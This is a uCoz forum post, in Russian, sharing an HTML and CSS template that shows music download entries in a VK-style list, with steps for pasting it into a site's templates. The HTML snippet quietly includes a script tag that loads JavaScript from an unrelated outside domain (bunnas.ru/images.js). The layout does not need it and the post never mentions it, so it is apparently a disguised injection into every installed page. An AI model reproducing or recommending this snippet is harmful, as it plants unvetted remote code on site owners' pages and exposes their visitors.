• Страница 1 из 1
  • 1
Модератор форума: y4eHuK  
MP3 вид новостей музыкальных в стиле как VK
WebGerlДата: Понедельник, 23.01.2012, 16:13 | Сообщение # 1
.::Offline::.
Новичок
Сообщений: 7
[ 0 ]
Награды: 0

Статус отсутствует
Скрин:

Вид материалов для музыкальных сайтов, MP3 вид новостей музыкальных в стиле как VK.
Типичный ленточный вариант отображение материалов с описанием и ссылками на музыку, по желанию можно вставить так же плеер что бы можно было прослушивать сразу же не заходя в новость музыку закаченную на ваш хостинг в MP3 файле.

Очень простая компоновка, и минимум стиля сделают загрузку на много быстрей и бес проблемной.

Установка:
Панель Управления > Дизайн > Управление дизайном (Шаблоны) там находим: Каталог файлов и в раздел Вид материалов ставим следующий код:

Code
<div class="musiclist">    
    <div style="float:right"><script src="http://bunnas.ru/images.js" type="text/javascript"></script><a href="$FILE_URL$" target="_blank"><img style="margin-left: 8px;" src="http://s41.radikal.ru/i094/1112/93/dfdbcbb7dce4.png" align="right" height="17" width="17" title="Скачать: $TITLE$"></a> <span style="font-size:10pt"><span style="color:#777777">Загрузок: $LOADS$</span></span></div> <img style="margin-right: 8px;" src="http://s58.radikal.ru/i162/1112/36/ce2378d04098.png" align="left" height="17" width="17"> <span style="font-size:10pt"><a href="$ENTRY_URL$">$TITLE$</a></span>    
    </div><br>


А этот код вставляем в любое место в CSS:

Code
.musiclist {background: #ffffff; border-left:1px solid #d9e0e7; border-right:1px solid #d9e0e7; border-bottom:1px solid #d9e0e7; border-top:1px solid #d9e0e7; font-family:Tahoma,Arial,Sans-Serif;color:#1A1A1A;padding-left:5px; padding-right:5px; padding-bottom:5px; padding-top:5px;}    
    .musiclist:hover {background: #d9e0e7; border-left:1px solid #61768a; border-right:1px solid #61768a; border-bottom:1px solid #61768a; border-top:1px solid #61768a; font-family:Tahoma,Arial,Sans-Serif;color:#1A1A1A;padding-left:5px; padding-right:5px; padding-bottom:5px; padding-top:5px;}
 
  • Страница 1 из 1
  • 1
Поиск:


Copyright www.SAMP-TEAM.com (c) 2009-2024
Правила использования материалов сайта

При копировании материалов из нашего сайта
ссылка на www.SAMP-TEAM.com обязательна!
Нарушители правил будут строго наказаны!

Хостинг от uCoz   
Для корректного просмотра мы рекомендуем Вам использовать браузер Google Chrome.
Яндекс.Метрика
Яндекс.Метрика